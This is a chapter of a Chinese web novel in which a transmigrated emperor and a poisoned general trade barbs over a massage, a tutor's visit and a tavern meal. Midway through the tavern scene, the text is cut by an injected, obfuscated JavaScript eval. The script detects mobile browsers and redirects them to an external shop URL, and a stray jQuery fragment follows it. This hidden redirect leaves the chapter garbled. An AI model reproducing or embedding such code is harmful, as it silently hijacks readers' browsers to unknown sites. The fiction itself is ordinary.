内寝之中,霍厌还僵在榻边。
他深吸一口气,心道自己疯了,明明本该戒备,却受这蛊毒摆布,做出这般逾矩失态的荒唐事。
反观元颂,模样惬意,什么都不知道,可以安然享受。
凭什么这个昏君可以浑然不觉、依旧睡得睡得这么熟呢。
霍厌盯着,对外界一点都不设防,拱着被子睡得很熟的元颂,气得后槽牙有点痒。
于是他一个没忍住,伸出手在元颂熟睡的侧脸上掐了一把。
软软的。
跟想象中的触感不太一样,这样一个蛇蝎心肠的昏君,脸蛋儿竟然这般的软。
元颂果真是那人不可貌相的典范。
而元颂本来睡得挺好,但一会儿梦到蚊子咬他后脖颈,一会儿又梦到蚊子咬他脸,元颂在梦里一个没忍住一巴掌拍了过去。
只听“啪——”的一声,一巴掌就落到了霍厌的脸上。
同时他还嘟囔道:
“哪里来的蚊子,打扰朕清梦。”
霍厌当场就懵了,他愣了一秒,然后怒道:
“皇、帝!”
一声皇帝,元颂猛地睁开眼,从梦中醒了过来。
睁开眼,入目先是明黄精致的床幔,视线缓缓聚焦,慢慢对上了近在咫尺却面色铁青的霍厌
仔细一瞧,他的侧脸还有点红。
元颂脑子还有点懵:
“皇叔!你的脸怎么红了,也是被蚊子咬的吗?”
呵。
霍厌盯着元颂,气得好半天没说出话。
“这夏天蚊子可真多,朕做梦都梦到脖子被蚊子咬了,嘶……”
他听元颂摸着脖子奇怪道:
“奇怪,被蚊子咬怎么会这么疼?”
元颂后脖子一阵一阵的疼,不想被蚊子咬,就跟被人咬了似的,但现在没有宫人当值,大殿内只有他与霍厌两人,那是不可能发生的事情。
想必是他刚才睡觉睡姿不端正,所以落枕了。
看着霍厌,元颂转过身去,对他道:
“皇叔,你快帮朕看看朕的脖子后面是怎么了?”
只见元颂撩开自己长长的头发,暴露出自己的白皙脖颈。
入目红彤彤的一片,还有一个明显的牙印。
小皇帝皮肤薄的很,明明根本没怎么用力咬,却产生了这么大的反应。
见霍厌好半天没反应,元颂没忍住问道:
“有问题吗?皇叔。”
“……”霍厌咽了下口水,回道:“没问题。”
“那怎么会感觉到疼?”
“大概率陛下落枕了。”
元颂蹙眉道:“你快去叫太医来。”
“不必!”霍厌回得很快,直接到:“我会些按摩手法,我帮陛下按。”
元颂眼带狐疑地看向霍厌。
霍大壮今日很是殷勤啊。
不对劲,十分有十二分不对劲。
总感觉黄鼠狼给鸡拜年,不安好心。
元颂半信半疑地侧过身,将单薄后背朝向霍厌,长发尽数撩至了肩前。
此时,那一截莹白细腻的脖颈彻彻底底地暴露在了霍厌的眼睛下。
比刚才看得还清楚。
霍厌目光落在那里的咬痕之上,喉结狠狠滚动了一下。
这个咬痕像是罪证一般狠狠打着他的脸,他沉敛心神,抬手,指腹轻轻贴上元颂后颈的皮肉。
指尖刚一碰上去,元颂便下意识瑟缩了一下,鼻腔里溢出一声细碎的哼唧:
“唔……轻点。”
肌肤温热软嫩,那股清润甜香随着贴近再度漫上来,蛊毒蛰伏的躁意又悄悄往上翻涌。
霍厌攥了攥掌心,刻意放轻力道,指节缓慢地在颈侧酸胀的位置打圈推揉。
动作看着很沉稳,可仔细瞧年,他的耳根已经红溜溜的一片了。
“是这里疼?”
霍厌的声音又低又哑。
“嗯,再往下一点……”
元颂舒服得松了肩,脑袋微微垂着,断断续续哼唧几声,嗓音软乎乎的:
“皇叔手艺看着还行,比宫里内侍按得舒坦些。”
他全然没察觉身后人心神激荡,只一味随着力道放松身子,时不时溢出几声无意识的轻哼,细碎绵软,落进霍厌耳中,搅得他心绪更乱。
外廊阴影里,起居官静立不动,他托着掌中竹简,将毛笔蘸薄墨,默默记下殿内动静。
[睡起,帝自诉项间酸痛,大将军近榻,为帝揉按颈筋。帝倚坐受之,间有低吟。]
再观察一会儿,后记:
[帷内声息轻缓,二人隔榻近对,良久方止。]
按摩过后。
霍厌不敢久留,草草按了片刻便收回手,低声道:
“差不多了,不可久按,陛下且好生歇息。”
元颂转回身,揉了揉后颈,眉头舒展些许,懒洋洋道:
“还算靠谱,若是之后还疼,朕再找皇叔。”
霍厌垂着眼,掩去眼底翻涌的情绪,勉强应了一声,目光不敢再落在他白皙的颈间。
他回到外殿御案前坐下,霍厌拿起毛笔,视线落在账册上,却一个字都读不进去。
而这边元颂刚睡醒,躺着也睡不着,霍厌的按摩果真有用,他的脖子果真好了一些,他无事直接起身,赤着足踩过地毯,披散的发丝落在寝衣肩头,慢悠悠踱到霍厌身后,探头去看案上的账册。
“还没批完?”
霍厌听到他的声音,浑身僵硬得很,他回:
“嗯。”
元颂没察觉他异样,只弯腰凑近,拿起了霍厌也已经抄好的《为政箴》,夸赞道:
“银钩虿尾,笔力洞达,不错啊,比朕写得好看多了。”
不过他记得书里说霍厌没上过学堂来着,怎么一手字写得这么好。
“你上过学堂?”元颂问。
霍厌敛眉:“并无,是自学的。”
其实是上辈子称帝后找帝师日日夜夜笔耕不辍练出来的。
元颂对他的话也没怀疑,只是点点头:
“哦哦。”
他靠得极近,霍厌呼吸一滞,下意识往后微仰,拉开一点距离。
元颂一愣,只当他还在为之前拿丁祯要挟他的事置气。
元颂直言道:
“别绷着脸了,你乖乖替朕干活,朕会给你看病的。”
霍厌:“……”
话音刚落,殿外传来内侍轻细的通传声:
“启禀陛下,太傅前来查验今日课业。”
这位苏太傅乃是三朝元老,素有声望,大半文官皆以他为首,早年力主抗敌,遭了原主厌弃。
元颂眼睛一亮,当即侧身让开半步,笑盈盈朝门外扬声:
“快请进来。”
白发帝师缓步踏入紫宸殿,看到了元颂已经抄写完的箴,他上前拾起逐行细看。
元颂屏息静立,有种回到上学时期被老师检查作业的紧张感,生怕被太傅发现这不是他写的。
半晌,帝师抚须颔首。
只见他夸赞道:
“陛下近日笔力精进不少,楷法沉稳,风骨端方,远胜往日潦草之作,可见勤修不辍。”
元颂笑了,他故作矜持:
“先生谬赞,朕连日勤勉,总算略有进益。”
朕连日勤勉监督霍大壮,实在是累呀~
帝师点头,然后道:
“帝王习字,修的是心性,陛下日后还当持之以恒,万不可懈怠。”
“朕记下了。”元颂连连点头。
太傅哪里见过元颂这般客气还这般好学,眼底掠过几分欣慰。
他心中愈发欢喜,随口温声笑道:
“陛下天资过人,进步神速,字迹风骨初成,堪为范本,臣家中孙女青青素来喜爱书法,苦无良帖临摹,若是陛下不弃,可否借陛下近日课业,让小女效仿研习?”
话说得谦和,心思却通透。
如今后宫空悬、六宫无主,满朝文武都在伺机送贵女入宫。太傅此举,明为求帖学字,实则是隐晦试探、顺水推舟,想为自家孙女铺路。
元颂还没品出深意,一旁静立的霍厌已经明白了。
他薄唇微抿,周身气息冷了下来。
他上一世无妻无妾、孤身一人,重生以来也从未有过半分儿女情长,凭什么这昏君,能先纳妃立后,充盈后宫?
不等元颂应声,霍厌已然开口:
“本王倒觉得这些还不够,不如现在再提几个大字,供人观赏?”
他转头看向元颂,眼底藏笑:
“陛下觉得如何。”
元颂:“!!!”
靠靠靠靠!!!
这字都是霍厌写的,让他当场题字,那不是当场露馅了吗?
这狗男人想干什么。
让元颂认字还行,用毛笔题字他是万万不能,按王大娘的话来说,就是:
“像狗爬。”
但勉强能识。
偏偏一旁的苏太傅抚须颔首,十分赞同:
“大将军所言极是,陛下笔力精进,当场题字,既是自勉,亦是佳话,臣觉得甚好。”
元颂:呵呵,无话可说。
两头夹击,进退两难。
情急之下,他脑子飞速一转,铤而走险道:
“题字不急,太傅孙女既爱书法,求知好学,不如入宫来紫宸殿,朕闲暇之余,亲自教她临摹习字。”
这话一出,太傅大喜过望,当即躬身叩拜,笑意掩不住:
“臣,谢陛下隆恩!”
近距离入宫伴学,日日得见圣颜,这哪里是学字,分明是板上钉钉的近水楼台!
自家孙女入宫一事,算是成了大半。
一旁的霍厌:???
方才还只想断他纳妃的机会,万万没料到,这小皇帝不按常理出牌,反手主动把人召进宫中贴身教学。
霍厌周身温度跟冰封一样,已然没了笑意。
看着身侧仿佛什么都不懂的元颂,也不知他是真不知,还是故意在他面前装。
可气。
——————
补3k↓↓
苏太傅又同元颂殷殷嘱咐,劝他勤学慎行、明辨礼制,而后拱手辞殿而去了。
他刚走一会儿,元颂看向霍厌。
“霍大将军,你怎么回事?”
方才故意让他在苏太傅面前题字,可不是想看他出丑,被太傅骂。
霍厌瞥他一眼,抱拳俯身道:
“臣不知陛下何意?”
“哼,”元颂从霍厌身旁走过,冷哼一声:“鬼信你不知。”
明明就是故意的,还在装傻。
但也是情有可原,毕竟他当社畜时也总想给老板使绊子,被老板发现后也是这么装疯卖傻的。
现在成了皇帝,跟那压榨底层社畜的资产阶级无良老板也差不多。
但压榨别人确实很爽。
怪不得人人都想当老板呢。
于是元颂道:
“不过你到底也为朕抄完了帝师布置的课业,朕这次就不罚你了。随朕来吧。”
元颂朝着殿门方向走去,霍厌随即跟了上去。
二人并未摆帝王出巡的浩大仪仗,只轻车简从,乘两辆不起眼的青布马车悄悄出宫。
马车一路穿过市井长街,行至城中最负盛名的酒楼门前。
楼阁雕梁,酒旗迎风舒展,便是京中达官贵人也常来此处宴饮。
下了马车,街面人声喧嚷,车马往来。
元颂一身常服,少了龙袍的拘束,眉眼都松快几分,他朝着身侧玄色劲装的霍厌笑道:
“霍大将军,整日闷在政务里,郁闷坏了吧,今日便放下朝堂那些琐事,吃些酒食。”
给个巴掌还要给个甜枣呢,元颂也不是那会亏待别人的人。
霍厌看着他笑起,面色一怔,不知道为什么,刚才那笑容让他感觉到有点熟悉,就跟以前见过他经常这么笑似的。
他将这股念头压下,看着这喧闹街市,再看看元颂身边只小凳子一人,低声问道:
“陛下微服出行,只带一人?”
元颂摆了摆手,满不在乎:
“有你这镇国大将军跟在身边,还怕出什么乱子,走走走。”
说罢抬脚跨进酒楼大门。
楼内人声鼎沸,堂内食客满堂,小二穿梭往来,吆喝着报菜。
一进门,浓郁的菜肴香气便扑面而来,元颂闻得肚子咕咕叫。
掌柜眼力过人,看见他们进来,虽看不出二人确切身份,却瞧得出气度不凡,不敢随意安排大堂嘈杂座位,连忙上前躬身引着,将他们带上二楼临窗雅间。
推开木格窗,底下整条长街尽收眼底,小贩叫卖、行人游走,烟火气扑面而来。
而雅间陈设雅致,案几光洁,墙上挂着几幅山水小品。
待落座,元颂随手解下外袍搭在椅边,整个人往坐榻上一靠。
他吩咐小二:“不用那些繁复官菜,捡你们店里招牌的热菜上来。”
说着他朝小凳子抬抬下巴。
小凳子会意,小心打开食盒,将一碟碟精致糕点依次摆上桌面。桂花酥、芙蓉糕、枣泥卷……各样点心,方才让小凳子下去采买的。
元颂捏起一块桂花酥,在霍厌眼前晃了晃:
“皇叔尝尝?”
霍厌目光落在满桌甜腻的糕点上,神色淡淡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824209|211216||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
嘴上虽没表露,心底却不得不承认,他其实是喜欢这些甜口点心的。
只是常年军营磨砺,身居其位,嗜甜这般细碎喜好,他从不肯摆在明面上。
于是他避开元颂递到眼前的桂花酥,道:
“臣不爱甜食,陛下自用便好。”
元颂也不勉强,指尖一转,自己张口咬下一大口。
桂花香气在唇齿间散开,酥皮簌簌往下落了些许碎屑,沾在他的唇角。
他嚼得眉眼微微弯起,靠着窗边软垫,望向楼下熙攘街景,嘴里含糊出声:
“可惜了,这可是金陵最出名铺子的货色,宫里御厨都做不出这个味道。”
霍厌的视线本是散漫落在窗外街市,余光却总忍不住瞟向那碟桂花酥。
蜜香丝丝缕缕飘过来,勾得人舌尖发痒。
他迅速端起桌上冷茶抿了一大口。
元颂吃完手里这块,又伸手去拿芙蓉糕,眼角余光瞥见霍厌不动声色往糕点方向瞥了两口。
他明白了。
霍大壮这是口是心非的毛病又犯了。
元颂眸底闪过一丝促狭,捏起一块绵软的芙蓉糕,身子微微倾过去,抬手就往霍厌唇边送:
“皇叔吃一个吧。”
小皇帝嗓音听来温温软软,没有半分帝王的凌厉,可字句之间偏偏带着劝诱,叫人难以开口推拒。
霍厌浑身一僵,已经不受控制张开嘴。
恰在这时,门外传来哒哒的脚步声,小二高声唱喏,推门而入:
“客官,热菜来咯——”
托盘上热腾腾的菜肴油气蒸腾,一股热菜油腥味儿扑鼻而来。
这股气味直冲霍厌鼻腔。
不知怎么的,方才胃里还好好的,如今油气一重,胃里骤然一阵翻江倒海。
很巧的是,正好元颂在给霍厌喂芙蓉糕,还没递到,霍厌猛地偏过头,一口就吐了出来。
方才吃下的桂花酥大半呕出,糕点碎渣落了一地。
一室骤然死寂。
元颂瞳孔骤缩,难以置信看向身侧的人。
“啊,客人您……”
小二捧着菜盘僵在门槛处,手里的托盘都晃了晃,进退两难,大气不敢出。
“王爷!”
屋角的一个霍厌的侍卫吓得浑身一紧,连忙快步上前,慌忙掏出帕子递过去。
霍厌眉峰紧蹙,胃里翻涌的恶心感迟迟不散,一阵阵灼烧着胸腹,额角迅速渗出细密的冷汗。
他偏着头,指尖死死攥紧侍卫递来的锦帕。
好半天,那种不适的感觉才消失。
侍卫问道:“王爷这是怎么了?”
“无事,只是突然觉得有点恶心。”
霍厌抬起眼,正对上元颂愣住的眸子。
元颂方才眼底满满的促狭笑意全然消散,那双弯弯的眼眸瞬间黯淡下来,霍厌听他语调凉凉的,只道:
“霍大将军,你是觉得朕的点心恶心,还是觉得朕点的菜恶心?”
呵呵呵呵呵。
再给霍大壮喂点心吃他就是小狗。
霍厌:“……并非如此,想来是今日肠胃虚弱,才引得这般模样。”
他向来注意饮食起居、修身固本。
军营岁月苦寒严苛,粗粝干粮、冷饭浊汤、腥膻军肉……他无一不能下咽,常年风餐露宿的日子里,早已练出一副铁打的脾胃。
而且往日在朝中值守,日夜伏案批卷通宵处理军务,三餐常常潦草将就,饿极时干硬冷食亦可果腹,从未有过反胃恶心、脾胃不适的症状。
可今日偏偏古怪至极,不过一缕寻常菜肴油气,竟让他胃腑翻覆。
他眼睁睁地看见元颂将手里的芙蓉糕收回,且收到了离自己很远的地方,小皇帝盖上了盖子,像是防他似的不让他吃了。
像是觉得他不识好歹。
确实是的,有谁能有如此殊荣被皇帝亲自喂食呢。
元颂点点头:
“好吧,既然大将军生病不能吃,就看朕吃吧,大将军,替朕布菜。”
一旁立着的侍卫当即眉头一拧,心中暗自愤懑。
方才王爷才骤然呕吐,身子尚且不适,陛下竟还要驱使王爷动手布菜,分明是刻意为难。
侍卫上前半步,几乎就要开口替自家主子申辩。
霍厌余光扫到侍卫的动作,眼皮微垂,伸手比划了一个“忍”的手势,然后让他退了下去。
小不忍则乱大谋。
小凳子瞧见了,叽里咕噜说啥呢,没看懂。
但他看到了侍卫面色不善,他有些生气,走上前身体一歪,将侍卫给拱开了。
侍卫怒了:“你!”
小凳子声音尖尖细细的:
“怎么着,你还想打咱家不成。”
侍卫瞪了他一下:
“不跟你一个阉人计较。”
小凳子一听,一个滑铲就扑到了元颂面前哭唧唧:
“陛下,这个侍卫骂奴才。”
元颂抬头看那侍卫,问:“他骂你什么了?”
“他骂奴才是阉人。”
元颂抬头看向侍卫。
而霍厌也蹙起眉头,元颂认定对内侍不敬的人就是对他不敬,敢对皇帝不敬,那人坟头草已经有人高了。
之前不过有人背地里骂了内侍几句,那人就被秘密处理了,先是承受了七七四十九日的水滴之刑,后被人凌迟处死。
这还是在背后偷偷说的,比这侍卫做得还轻。
今日霍厌要是不帮他,这侍卫恐也得落得那般下场。
霍厌直接对其道:
“李二,自去领二十军棍。”
谁知元颂却蹙眉道:
“等等。”
霍厌一僵。
小皇帝想说什么,是要杀了侍卫吗?
在霍厌僵硬思考之际,元颂摆摆手道:
“不过是些小摩擦,打人二十棍作甚。”
霍厌愣了。
看元颂的眼神十分稀奇,像是日出西方一般。
其他人说这句话没什么,元颂这种杀人如麻的人说这话就显得惊悚了。
“就罚他答应帮小凳子干一件事得了。”
元颂问小凳子:“可以吗?”
小凳子哭得一把鼻涕一把泪,嗯嗯点着头:“可以的陛下。”
“那你想让他帮你做什么?”
小凳子想了一下,嘴角勾起:“陛下,可以让侍卫他……”
他眼神看着侍卫的裆部,露出奇怪的笑容,他道:
“让他也割了吗。”
侍卫:???
他不行,他不可!
要遭如此大辱,还不如严刑酷打!